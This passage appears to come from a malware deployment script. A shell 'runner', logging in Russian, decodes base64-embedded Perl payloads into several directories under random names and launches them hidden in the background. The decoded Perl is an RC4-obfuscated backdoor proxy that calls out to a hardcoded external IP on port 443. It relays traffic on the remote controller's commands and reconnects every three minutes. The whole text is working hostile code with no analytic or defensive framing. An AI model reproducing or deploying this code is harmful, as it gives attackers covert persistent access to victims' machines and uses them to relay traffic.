eCA+IDApOwoJCgkKCSB3aGlsZSgxKSB7CgkJIAoJCSBpZiAoJGdzID09IDApIHsKCQkJIAoJCQkg JHBvY2tlbW9uMiA9IDA7CgoJCQkgJHBvY2tlbW9uMyA9ICRsZW5ndGg7CgkJfQoJCSAKCQkgaWYg KCRncyAhPSAwKSB7CgkJCSAKCQkJICRncyA9IDA7CgoJCQkgJHBvY2tlbW9uMisrOwoKCQkJIGlm ICgtLSRwb2NrZW1vbjMgPT0gMCkgeyBuZXh0OyB9CgkJCSAKCQl9CgkJCgkJICRwb2NrZW1vbjcg PSB2ZWMoJHJjNCwgJHBvY2tlbW9uMCwgOCk7CgkJIAoJCSAkcG9ja2Vtb24xICs9IHZlYygkJHBh c3N3LCAkcG9ja2Vtb24yLCA4KTsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoK CQkgJHBvY2tlbW9uMSArPSAkcG9ja2Vtb243OwoKCQkgJHBvY2tlbW9uMSA9ICRwb2NrZW1vbjEg JiAyNTU7CgoJCSB2ZWMoJHJjNCwgJHBvY2tlbW9uMCwgOCkgPSB2ZWMoJHJjNCwgJHBvY2tlbW9u MSwgOCk7CgoJCSB2ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCkgPSAkcG9ja2Vtb243OwoJCSAKCQkg JHBvY2tlbW9uMCsrOwoKCQkgJHBvY2tlbW9uMCA9ICRwb2NrZW1vbjAgJiAyNTU7CgkJIAoJCSBp ZiAoJHBvY2tlbW9uMCAhPSAwKSB7CgkJCSAKCQkJICRncyA9IDE7CgkJCSAKCQkJIG5leHQ7CgkJ fQoJCQoJCSAkcG9ja2Vtb240ID0gJHN6OwoKCQkgJHBvY2tlbW9uMSA9IDA7CgoJCSAkcG9ja2Vt b24wID0gMDsKCgkJICRwb2NrZW1vbjIgPSAwOwoKCQkgJHBvY2tlbW9uMyA9IDA7CgkJIAoJCSB3 aGlsZSgxKSB7CgkJCSAKCQkJICRwb2NrZW1vbjIrKzsKCgkJCSAkcG9ja2Vtb24yID0gJHBvY2tl bW9uMiAmIDI1NTsKCgkJCSAkcG9ja2Vtb243ID0gdmVjKCRyYzQsICRwb2NrZW1vbjIsIDgpOwoJ CQkgCgkJCSAkcG9ja2Vtb24xICs9ICRwb2NrZW1vbjc7CgoJCQkgJHBvY2tlbW9uMSA9ICRwb2Nr ZW1vbjEgJiAyNTU7CgoJCQkgJHBvY2tlbW9uOCA9IHZlYygkcmM0LCAkcG9ja2Vtb24xLCA4KTsK CQkJIAoJCQkgdmVjKCRyYzQsICRwb2NrZW1vbjIsIDgpID0gJHBvY2tlbW9uODsKCQkJIAoJCQkg dmVjKCRyYzQsICRwb2NrZW1vbjEsIDgpID0gJHBvY2tlbW9uNzsKCgkJCSAkcG9ja2Vtb244ICs9 ICRwb2NrZW1vbjc7CgkKCQkJICRwb2NrZW1vbjggPSAkcG9ja2Vtb244ICYgMjU1OwoJCQkgCgkJ CSB2ZWMoJCRidWZmMCwgJHN0YXJ0ICsgJHBvY2tlbW9uMywgOCkgPSB2ZWMoJHJjNCwgJHBvY2tl bW9uOCwgOCkgXiB2ZWMoJCRidWZmMCwgJHN0YXJ0ICsgJHBvY2tlbW9uMywgOCk7CgkJCSAKCQkJ ICRwb2NrZW1vbjMrKzsKCQkJIAoJCQkgaWYgKC0tJHBvY2tlbW9uNCA9PSAwKQoJCQkgewoJCQkJ IGxhc3Q7CgkJCSB9CgkJCSAKCQl9CgkJIAoJCSBsYXN0OwoJfQoJCgkgJHJzaSA9IDA7CgkKCSAk cmN4ID0gJHN6OwoJCgkgJHJieCA9IDA7CgkKCSBkbyB7CgkJIAoJCSB2ZWMoJCRidWZmMCwgJHN0 YXJ0ICsgJHJzaSwgOCkgPSAodmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpIF4gdmVjKCQk cGFzc3csICRyYngsIDgpKTsKCQkgCgkJICRyc2krKzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4 LS07CgkJCgkJIGlmICgkcmJ4ID09ICRsZW5ndGgpIHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJ CSAKCX0gd2hpbGUoJHJjeCA+IDApOwoJCn0KCnN1YiBzeW5zZW5kIHsKCQkKCSBteSAkY1NvY2tl dCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZmVyID0gc2hpZnQoQF8pOwoJIAoJIG15ICRsZW5n dGgJPSBzaGlmdChAXyk7CgkgCgkgbXkgJG9mZnNldAk9IHNoaWZ0KEBfKTsKCgkgb3BlbihteSAk ZmgsICI8IiwgJy9kZXYvbnVsbCcpOwoKCSBmbG9jaygkZmgsIExPQ0tfRVgpOwoJIAoJICMgPT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KCSAKCSBzeXN3cml0 ZSgkY1NvY2tldCwgJGJ1ZmZlciwgJGxlbmd0aCwgJG9mZnNldCk7CgkgCgkgIyA9PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQoJIAoJIGZsb2NrKCRmaCwgTE9D S19VTik7CgoJIGNsb3NlKCRmaCk7Cn0KCnN1YiBuZXdDb25uZWN0aW9uIHsKCQoJbXkgJG51bSA9 IHNoaWZ0KEBfKTsKCQoJbXkgJHNTb2NrZXQgPSBzaGlmdChAXyk7CgkKCW15ICRjU29ja2V0ID0g c2hpZnQoQF8pOwoJCglteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkKCW15ICRyZXNwb25jZSA9IHBh Y2soJ0MnLCAkbnVtKS4iXHgwQVx4MDBceDA1XHgwMVx4MDBceDAxXHgwMFx4MDBceDAwXHgwMFx4 MDBceDAwIjsKCQoJbXkgJGRvbWFpbiA9ICcnOwoJCglteSAkcG9ydCA9IDA7CgkKCW15ICRfcmV0 ID0gMDsKCQoJbXkgJGRhdGEgPSAnJzsKCQoJbXkgJGJ1ZmZlciA9ICcnOwoJCglteSAkc3RyX3dl YyA9ICJceDAwXHgwMCI7CgkKCW15ICRidWZmZXIxID0gIlx4MDAiIHggNjU1MzY7CgkKCXNldHNv Y2tvcHQoJGNTb2NrZXQsIElQUFJPVE9fVENQLCBUQ1BfTk9ERUxBWSwgMSk7CgkKCXNldHNvY2tv cHQoJGNTb2NrZXQsIFNPTF9TT0NLRVQsIFNPX1JDVkJVRiwgNjU1MzYpOwoJCglzZXRzb2Nrb3B0 KCRjU29ja2V0LCBTT0xfU09DS0VULCBTT19TTkRCVUYsIDY1NTM2KTsKCQoJZmNudGwoJGNTb2Nr ZXQsIEZfU0VURkwsIGZjbnRsKCRjU29ja2V0LCBGX0dFVEZMLCAwKSB8IE9fTk9OQkxPQ0spOwoJ CglmY250bCgkY1NvY2tldCwgRl9TRVRGTCwgT19OT05CTE9DSyk7CgkKCWlmICh2ZWMoJGJ1ZmYw LCA3LCA4KSA9PSAzKSB7CgkJCgkJJGRvbWFpbiA9IHN1YnN0cigkYnVmZjAsIDksIHZlYygkYnVm ZjAsIDgsIDgpKTsKCQkKCQlzdWJzdHIoJHN0cl93ZWMsIDAsIDEpID0gc3Vic3RyKCRidWZmMCwg OSArIHZlYygkYnVmZjAsIDgsIDgpICsgMCwgMSk7CgkJCgkJc3Vic3RyKCRzdHJfd2VjLCAxLCAx KSA9IHN1YnN0cigkYnVmZjAsIDkgKyB2ZWMoJGJ1ZmYwLCA4LCA4KSArIDEsIDEpOwoJCQoJCSRw b3J0ID0gdmVjKCRzdHJfd2VjLCAwLCAxNik7Cgl9CgkJCgllbHNpZiAodmVjKCRidWZmMCwgNywg OCkgPT0gMSkgewoJCQoJCSRkb21haW4gPSBzcHJpbnRmKCIlZC4lZC4lZC4lZCIsIHZlYygkYnVm ZjAsIDggKyAwLCA4KSwgdmVjKCRidWZmMCwgOCArIDEsIDgpLCB2ZWMoJGJ1ZmYwLCA4ICsgMiwg OCksIHZlYygkYnVmZjAsIDggKyAzLCA4KSk7CgkJCgkJc3Vic3RyKCRzdHJfd2VjLCAwLCAxKSA9 IHN1YnN0cigkYnVmZjAsIDEyICsgMCwgMSk7CgkJCgkJc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9 IHN1YnN0cigkYnVmZjAsIDEyICsgMSwgMSk7CgkJCgkJJHBvcnQgPSAgdmVjKCRzdHJfd2VjLCAw LCAxNik7CgkJCgl9CgkJCgllbHNlIHsKCQkKCQlnb3RvIGNsb3NlXzsKCX0KCQkKCSBldmFsIHsK CQkgCgkJIG15ICRwYWRkciA9IHNvY2thZGRyX2luKCRwb3J0LCBpbmV0X2F0b24oJGRvbWFpbikp OwoJCSAKCQkgY29ubmVjdCgkY1NvY2tldCwgJHBhZGRyKTsKCQkgCgkJIHZlYyhteSAkd2luID0g JycsIGZpbGVubygkY1NvY2tldCksIDEpID0gMTsKCQkgCgkJIHVubGVzcyAoc2VsZWN0KHVuZGVm LCAkd2luLCB1bmRlZiwgMTApKSB7IGdvdG8gY2xvc2VfOyB9CgkJIAoJCSBmY250bCgkY1NvY2tl dCwgRl9TRVRGTCwgMCk7CgkJIAoJCSBzdWJzdHIoJHJlc3BvbmNlLCA0LCAxKSA9ICJceDAwIjsK CQkgCgkJIGZjbnRsKCRjU29ja2V0LCBGX1NFVEZMLCBmY250bCgkY1NvY2tldCwgRl9HRVRGTCwg MCkgXiBPX05PTkJMT0NLKTsKCQkgCgkJICRfcmV0ID0gMTsKCQkgCgkgfTsKCSAKCSBjbG9zZV86 CgkgCgkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJIAoJIFJj NF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkgCgkgc3luc2VuZCgk c1NvY2tldCwgJHJlc3BvbmNlLCBsZW5ndGgoJHJlc3BvbmNlKSwgMCk7CgkgCgkgaWYgKCRfcmV0 ID09IDEpIHsKCQkgCgkJIHdoaWxlICgxKSB7CgkJCSAKCQkJIHZlYyhteSAkcmluID0gJycsIGZp bGVubygkY1NvY2tldCksIDEpID0gMTsKCQkJIAoJCQkgdW5sZXNzIChzZWxlY3QoJHJpbiwgdW5k ZWYsIHVuZGVmLCAxKSkgeyBuZXh0OyB9CgkJCSAKCQkJICRkYXRhID0gc3lzcmVhZCgkY1NvY2tl dCwgJGJ1ZmZlcjEsIDY1NTMwLCAzKTsKCQkJIAoJCQkgdW5sZXNzKCRkYXRhKSB7IGxhc3Q7IH0K CQkJIAoJCQkgdmVjKCRidWZmZXIxLCAwLCA4KSA9ICRudW07CgkJCSAKCQkJIHZlYygkc3RyX3dl YywgMCwgMTYpID0gJGRhdGE7CgkJCSAKCQkJIHN1YnN0cigkYnVmZmVyMSwgMSwgMSkgPSBzdWJz dHIoJHN0cl93ZWMsIDEsIDEpOwoJCQkgCgkJCSBzdWJzdHIoJGJ1ZmZlcjEsIDIsIDEpID0gc3Vi c3RyKCRzdHJfd2VjLCAwLCAxKTsKCQkJIAoJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwk YnVmZmVyMSwgMCwgMyk7CgkJCSAKCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZl cjEsIDMsICRkYXRhKTsKCQkJIAoJCQkgc3luc2VuZCgkc1NvY2tldCwgJGJ1ZmZlcjEsIDMgKyAk ZGF0YSwgMCk7CgkJfQoJfQoJIAoJIGNsb3NlKCRjU29ja2V0KTsKCSAKCSB2ZWMoJHJlc3BvbmNl LCAwLCA4KSA9ICRudW07CgkgCgkgc3Vic3RyKCRyZXNwb25jZSwgMSwgMikgPSAiXHgwMFx4MDAi OwoJIAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCSAKCSBz eW5zZW5kKCRzU29ja2V0LCAkcmVzcG9uY2UsIDMsIDApOwp9CgpzdWIgYmNjbmN0IHsKCgkgbXkg JGhvc3QgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJl bWFpbmluZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15IEBzb2NrZXRhcnI7 CgkgCgkgbXkgJGJ1ZmZlciA9ICJceDAwIiB4IDEwMDsKCSAKCSBteSAkYnVmZmVybnVsbCA9ICJc eDAwIiB4IDM7CgkgCgkgbXkgJGJ1ZmZlcjAgPSAiXHgwMCIgeCA2NTUzNjsKCSAKCSBteSAkaXNF eGl0ID0gMDsKCSAKCSBteSAkZWN4ID0gMDsKCSAKCSBteSAkZWF4ID0gMDsKCSAKCSBteSAkZGF0 YSA9ICcnOwoJIAoJIG15ICRfcmV0ID0gMDsKCSAKCSBteSAkZWJ4ID0gMDsKCSAKCSBteSAkZWR4 ID0gMDsKCSAKCSBteSAkc3RyX3dlYyA9ICJceDAwXHgwMCI7CgkgCgkgc29ja2V0KCRzb2NrZXRh cnJbMF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJIAoJ IHNldHNvY2tvcHQoJHNvY2tldGFyclswXSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsK CSAKCSBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbMF0sIFNPTF9TT0NLRVQsIFNPX1JDVkJVRiwgNjU1 MzYpOwoJIAogICAgIHNldHNvY2tvcHQoJHNvY2tldGFyclswXSwgU09MX1NPQ0tFVCwgU09fU05E QlVGLCA2NTUzNik7CgkgCgkgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4oJCRwb3J0LCBpbmV0X2F0 b24oJCRob3N0KSk7CgkgCgkgdW5sZXNzKGNvbm5lY3QoJHNvY2tldGFyclswXSwgJHBhZGRyKSkg eyBnb3RvIGNsb3NlMDsgfQoJIAoJIHN1YnN0cigkYnVmZmVyLCAwLCA1MCkgPSAkeG9yZGF0YTsK CSAKCSBzdWJzdHIoJGJ1ZmZlciwgNTAsIDIpID0gIlx4RkZceEZGIjsKCSAKCSBzdWJzdHIoJGJ1 ZmZlciwgNTQsIDExKSA9ICJQZXJsIHNjcmlwdCI7CgkgCgkgUmM0X2NyeXB0KFwkeG9yZGF0YSwg NTAsIFwkYnVmZmVyLCA1MCwgNTApOwoJIAoJIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRidWZm ZXIsIGxlbmd0aCgkYnVmZmVyKSk7CgkgCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRyZW1haW5p bmc0ICE9IDQpIHsKCQkJIAoJCQkgdmVjKG15ICRyaW4gPSAnJywgZmlsZW5vKCRzb2NrZXRhcnJb MF0pLCAxKSA9IDE7CgkJCSAKCQkJIHVubGVzcyhzZWxlY3QoJHJpbiwgdW5kZWYsIHVuZGVmLCA2 MCkpIHsKCQkJCSAKCQkJCSBsYXN0IGlmIChzdWJzdHIoJGJ1ZmZlcm51bGwsIDAsIDMpIG5lICJc eDAwXHgwMFx4MDAiKTsKCQkJCSAKCQkJCSBsYXN0IGlmICgkcmVtYWluaW5nICE9IDApOwoJCQkJ IAoJCQkJIGxhc3QgaWYgKCRyZW1haW5pbmc0ICE9IDApOwoJCQkJIAoJCQkJIFJjNF9jcnlwdChc JHhvcmRhdGEsIDUwLCBcJGJ1ZmZlcm51bGwsIDAsIDMpOwoJCQkJIAoJCQkJIHN5bnNlbmQoJHNv Y2tldGFyclswXSwgJGJ1ZmZlcm51bGwsIGxlbmd0aCgkYnVmZmVybnVsbCksIDApOwoJCQkJIAoJ CQkJIG5leHQ7CgkJCX0KCQkJIAoJCX0KCQkgCgkJIGlmICgkcmVtYWluaW5nICE9IDAgfHwgJHJl bWFpbmluZzQgPT0gNCkgewoJCQkgCgkJCSBpZiAoJGVkeCA9PSAwKSB7CgkJCQkgCgkJCQkgaWYg KHN1YnN0cigkYnVmZmVyMCwgMCwgMSkgZXEgIlx4RkYiICYmIHN1YnN0cigkYnVmZmVyMCwgMSwg MSkgZXEgIlx4RkUiKSB7CgkJCQkJIAoJCQkJCSAkaXNFeGl0ID0gMTsKCQkJCQkgCgkJCQkJIGxh c3Q7CgkJCQkJIAoJCQkJfQoJCQkJIAoJCQkJIGVsc2lmICgkZWJ4IDwgMjAwICYmICRlYnggPiAw ICYmIGRlZmluZWQoJHNvY2tldGFyclskZWJ4XSkpIHsKCQkJCSAKCQkJCQkgc2h1dGRvd24oJHNv Y2tldGFyclskZWJ4XSwgMCk7CgkJCQkgCgkJCQl9CgkJCQoJCQl9CgkJCQoJCQllbHNlIHsKCQkJ CQoJCQkJICRlY3ggPSAkZWR4OwoJCQkJCgkJCQkgJGVjeCA9ICRlY3ggLSAkcmVtYWluaW5nOwoJ CQkJIAoJCQkJICRkYXRhID0gc3lzcmVhZCgkc29ja2V0YXJyWzBdLCAkYnVmZmVyMCwgJGVjeCwg JHJlbWFpbmluZyArIDQpOwoJCQkJIAoJCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkJ IAoJCQkJICRyZW1haW5pbmcgKz0gJGRhdGE7CgkJCQkgCgkJCQkgaWYgKCRlZHggPT0gJHJlbWFp bmluZykgewoJCQkJCSAKCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwg NCwgJHJlbWFpbmluZyk7CgkJCQkJIAoJCQkJCSBpZiAodmVjKCRidWZmZXIwLCAwLCA4KSA9PSAw KSB7CgkJCQkJCSAKCQkJCQkJIHNvY2tldCgkc29ja2V0YXJyWyRlYnhdLCBQRl9JTkVULCBTT0NL X1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKTsKCQkJCQkJIAoJCQkJCQkgbXkgJHBpZCA9 IGZvcmsoKTsKCgkJCQkJCSBpZiAoIWRlZmluZWQgJHBpZCkgewoJCQkJCQkJIAoJCQkJCQkJIGRp ZSAiQ2Fubm90IGZvcmsgYSBjaGlsZDogJCEiOwoJCQkJCQkgfQoJCQkJCQkgCgkJCQkJCSBlbHNp ZiAoJHBpZCA9PSAwKSB7CiAgICAKCQkJCQkJCSBuZXdDb25uZWN0aW9uKCRlYngsICRzb2NrZXRh cnJbMF0sICRzb2NrZXRhcnJbJGVieF0sICRidWZmZXIwKTsKCQkJCQkJCSAKCQkJCQkJCSBleGl0 IDA7CgkJCQkJCSB9CgkJCQkJfQoJCQkJCQoJCQkJCSBlbHNlIHsKCQkJCQkJIAoJCQkJCQkgc3lz d3JpdGUoJHNvY2tldGFyclskZWJ4XSwgJGJ1ZmZlcjAsICRyZW1haW5pbmcsIDQpOwoJCQkJCQkg CgkJCQkJfQoJCQkJCSAKCQkJCQkgJHJlbWFpbmluZyA9IDA7CgkJCQl9CgkJCQkKCQkJfQoJCQkg CgkJCSAkcmVtYWluaW5nNCA9IDA7CgkJCSAKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgJGVheCA9 IDQ7CgkJCQoJCQkgJGVheCA9ICRlYXggLSAkcmVtYWluaW5nNDsKCQkJIAoJCQkgJGRhdGEgPSBz eXNyZWFkKCRzb2NrZXRhcnJbMF0sICRidWZmZXIwLCAkZWF4LCAkcmVtYWluaW5nNCk7CgkJCSAK CQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkgCgkJCSAkcmVtYWluaW5nNCArPSAkZGF0 YTsKCQkJIAoJCQkgc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSA9ICJceDAwXHgwMFx4MDAiOwoJ CQkgCgkJCSBpZiAoJHJlbWFpbmluZzQgPT0gNCkgewoJCQkJIAoJCQkJIFJjNF9jcnlwdChcJHhv cmRhdGEsIDUwLCBcJGJ1ZmZlcjAsIDAsIDQpOwoJCQkJIAoJCQkJICRlYnggPSB2ZWMoJGJ1ZmZl cjAsIDEsIDgpOwoJCQkJIAoJCQkJIHN1YnN0cigkc3RyX3dlYywgMCwgMSkgPSBzdWJzdHIoJGJ1 ZmZlcjAsIDMsIDEpOwoJCQkJIAoJCQkJIHN1YnN0cigkc3RyX3dlYywgMSwgMSkgPSBzdWJzdHIo JGJ1ZmZlcjAsIDIsIDEpOwoJCQkJIAoJCQkJICRlZHggPSB2ZWMoJHN0cl93ZWMsIDAsIDE2KTsK CQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkgY2xv c2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDE7ICRpIDwgMjAwOyAkaSsrKSB7 IGlmIChkZWZpbmVkKCRzb2NrZXRhcnJbJGldKSkgeyBzaHV0ZG93bigkc29ja2V0YXJyWyRpXSwg MCk7IH0gfQoJIAoJIHNsZWVwIDEwOwoJIAoJIGlmICgkaXNFeGl0ID09IDEpIHsgZXhpdDsgfQoJ IAoJIHJldHVybiAkX3JldDsKCn0KCndoaWxlKDEpCnsKCSBiY2NuY3QoXCRob3N0LCBcJHBvcnQp OwoJIAoJIHNsZWVwIDE4MDsKfQo= BINARY_EOF chmod +x "$EXTRACTED_FILE" RANDOM_PROC_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c $RANDOM_NAME_LENGTH) # Определяем тип файла по первой строке (shebang) first_line=$(head -n 1 "$EXTRACTED_FILE") if [[ "$first_line" == *"perl"* ]]; then echo "[RUNNER] Компонент #15 (Perl) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && nohup perl "./$PAYLOAD_NAME" >/dev/null 2>&1 &) else echo "[RUNNER] Компонент #15 (Бинарный) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && nohup "./$PAYLOAD_NAME" >/dev/null 2>&1 &) fi sleep 0.3 if [ "$first_run" = true ]; then first_run=false; else echo "[RUNNER] Пауза на $PAUSE_SECONDS секунд..." sleep $PAUSE_SECONDS; fi # --- Подготовка и запуск компонента 16 --- DEPLOY_DIR=${candidate_dirs[$dir_index]} PAYLOAD_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c 8) EXTRACTED_FILE="$DEPLOY_DIR/$PAYLOAD_NAME" dir_index=$(((dir_index + 1) % dir_count)) base64 -d > "$EXTRACTED_FILE" << 'BINARY_EOF' IyEvdXNyL2Jpbi9lbnYgcGVybAoKdXNlIHN0cmljdDsKdXNlIHdhcm5pbmdzOwp1c2UgU29ja2V0 Owp1c2UgU29ja2V0IHF3KElQUFJPVE9fVENQIFRDUF9OT0RFTEFZKTsKdXNlIEZjbnRsOwp1c2Ug RmNudGwgcXcoOmZsb2NrKTsKCm15ICRob3N0ID0gJzM2LjI1NS45OC4xNzMnOwpteSAkcG9ydCA9 IDQ0MzsKCiRTSUd7UElQRX0gPSAnSUdOT1JFJzsKJFNJR3tIVVB9ID0gJ0lHTk9SRSc7CiRTSUd7 Q0hMRH0gPSAnSUdOT1JFJzsKCm15ICR4b3JkYXRhID0gIlx4MDAiIHggNTA7Cgpmb3IgKG15ICRp ID0gMDsgJGkgPCA1MDsgJGkrKykgeyB2ZWMoJHhvcmRhdGEsICRpLCA4KSA9IGludChyYW5kKDI1 NSkpOyB9CgpzdWIgUmM0X2NyeXB0IHsKCSAKCSBteSAkcGFzc3cgPSBzaGlmdChAXyk7CgkgCgkg bXkgJGxlbmd0aCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkgCgkg bXkgJHN0YXJ0ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRzeiA9IHNoaWZ0KEBfKTsKCSAKCSBteSAk cmM0ID0gIlx4MDAiIHggMjU2OwoJIAoJIG15ICRwb2NrZW1vbjAgPSAwOwoJCgkgbXkgJHBvY2tl bW9uMSA9IDA7CgkKCSBteSAkcG9ja2Vtb24yID0gMDsKCQoJIG15ICRwb2NrZW1vbjMgPSAwOwoJ CgkgbXkgJHBvY2tlbW9uNCA9IDA7CgkKCSBteSAkcG9ja2Vtb243ID0gMDsKCQoJIG15ICRwb2Nr ZW1vbjggPSAwOwoJIAoJIG15ICRyY3ggPSAkc3o7CgkgCgkgbXkgJHJzaSA9IDA7CgkgCgkgbXkg JHJieCA9IDA7CgkgCgkgbXkgJGdzID0gMDsKCSAKCSB2ZWMoJHJjNCwgJF8sIDgpID0gJF8gZm9y IDAuLjI1NTsKCSAKCSBkbyB7CgkJIAoJCSB2ZWMoJCRidWZmMCwgJHN0YXJ0ICsgJHJzaSwgOCkg PSAodmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpIF4gdmVjKCQkcGFzc3csICRyYngsIDgp KTsKCQkgCgkJICRyc2krKzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4LS07CgkJCgkJIGlmICgk cmJ4ID09ICRsZW5ndGgpIHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJCSAKCX0gd2hpbGUoJHJj eCA+IDApOwoJCgkKCSB3aGlsZSgxKSB7CgkJIAoJCSBpZiAoJGdzID09IDApIHsKCQkJIAoJCQkg JHBvY2tlbW9uMiA9IDA7CgoJCQkgJHBvY2tlbW9uMyA9ICRsZW5ndGg7CgkJfQoJCSAKCQkgaWYg KCRncyAhPSAwKSB7CgkJCSAKCQkJICRncyA9IDA7CgoJCQkgJHBvY2tlbW9uMisrOwoKCQkJIGlm ICgtLSRwb2NrZW1vbjMgPT0gMCkgeyBuZXh0OyB9CgkJCSAKCQl9CgkJCgkJICRwb2NrZW1vbjcg PSB2ZWMoJHJjNCwgJHBvY2tlbW9uMCwgOCk7CgkJIAoJCSAkcG9ja2Vtb24xICs9IHZlYygkJHBh c3N3LCAkcG9ja2Vtb24yLCA4KTsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoK CQkgJHBvY2tlbW9uMSArPSAkcG9ja2Vtb243OwoKCQkgJHBvY2tlbW9uMSA9ICRwb2NrZW1vbjEg JiAyNTU7CgoJCSB2ZWMoJHJjNCwgJHBvY2tlbW9uMCwgOCkgPSB2ZWMoJHJjNCwgJHBvY2tlbW9u MSwgOCk7CgoJCSB2ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCkgPSAkcG9ja2Vtb243OwoJCSAKCQkg JHBvY2tlbW9uMCsrOwoKCQkgJHBvY2tlbW9uMCA9ICRwb2NrZW1vbjAgJiAyNTU7CgkJIAoJCSBp ZiAoJHBvY2tlbW9uMCAhPSAwKSB7CgkJCSAKCQkJICRncyA9IDE7CgkJCSAKCQkJIG5leHQ7CgkJ fQoJCQoJCSAkcG9ja2Vtb240ID0gJHN6OwoKCQkgJHBvY2tlbW9uMSA9IDA7CgoJCSAkcG9ja2Vt b24wID0gMDsKCgkJICRwb2NrZW1vbjIgPSAwOwoKCQkgJHBvY2tlbW9uMyA9IDA7CgkJIAoJCSB3 aGlsZSgxKSB7CgkJCSAKCQkJICRwb2NrZW1vbjIrKzsKCgkJCSAkcG9ja2Vtb24yID0gJHBvY2tl bW9uMiAmIDI1NTsKCgkJCSAkcG9ja2Vtb243ID0gdmVjKCRyYzQsICRwb2NrZW1vbjIsIDgpOwoJ CQkgCgkJCSAkcG9ja2Vtb24xICs9ICRwb2NrZW1vbjc7CgoJCQkgJHBvY2tlbW9uMSA9ICRwb2Nr ZW1vbjEgJiAyNTU7CgoJCQkgJHBvY2tlbW9uOCA9IHZlYygkcmM0LCAkcG9ja2Vtb24xLCA4KTsK CQkJIAoJCQkgdmVjKCRyYzQsICRwb2NrZW1vbjIsIDgpID0gJHBvY2tlbW9uODsKCQkJIAoJCQkg dmVjKCRyYzQsICRwb2NrZW1vbjEsIDgpID0gJHBvY2tlbW9uNzsKCgkJCSAkcG9ja2Vtb244ICs9 ICRwb2NrZW1vbjc7CgkKCQkJICRwb2NrZW1vbjggPSAkcG9ja2Vtb244ICYgMjU1OwoJCQkgCgkJ CSB2ZWMoJCRidWZmMCwgJHN0YXJ0ICsgJHBvY2tlbW9uMywgOCkgPSB2ZWMoJHJjNCwgJHBvY2tl bW9uOCwgOCkgXiB2ZWMoJCRidWZmMCwgJHN0YXJ0ICsgJHBvY2tlbW9uMywgOCk7CgkJCSAKCQkJ ICRwb2NrZW1vbjMrKzsKCQkJIAoJCQkgaWYgKC0tJHBvY2tlbW9uNCA9PSAwKQoJCQkgewoJCQkJ IGxhc3Q7CgkJCSB9CgkJCSAKCQl9CgkJIAoJCSBsYXN0OwoJfQoJCgkgJHJzaSA9IDA7CgkKCSAk cmN4ID0gJHN6OwoJCgkgJHJieCA9IDA7CgkKCSBkbyB7CgkJIAoJCSB2ZWMoJCRidWZmMCwgJHN0 YXJ0ICsgJHJzaSwgOCkgPSAodmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpIF4gdmVjKCQk cGFzc3csICRyYngsIDgpKTsKCQkgCgkJICRyc2krKzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4 LS07CgkJCgkJIGlmICgkcmJ4ID09ICRsZW5ndGgpIHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJ CSAKCX0gd2hpbGUoJHJjeCA+IDApOwoJCn0KCnN1YiBzeW5zZW5kIHsKCQkKCSBteSAkY1NvY2tl dCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZmVyID0gc2hpZnQoQF8pOwoJIAoJIG15ICRsZW5n dGgJPSBzaGlmdChAXyk7CgkgCgkgbXkgJG9mZnNldAk9IHNoaWZ0KEBfKTsKCgkgb3BlbihteSAk 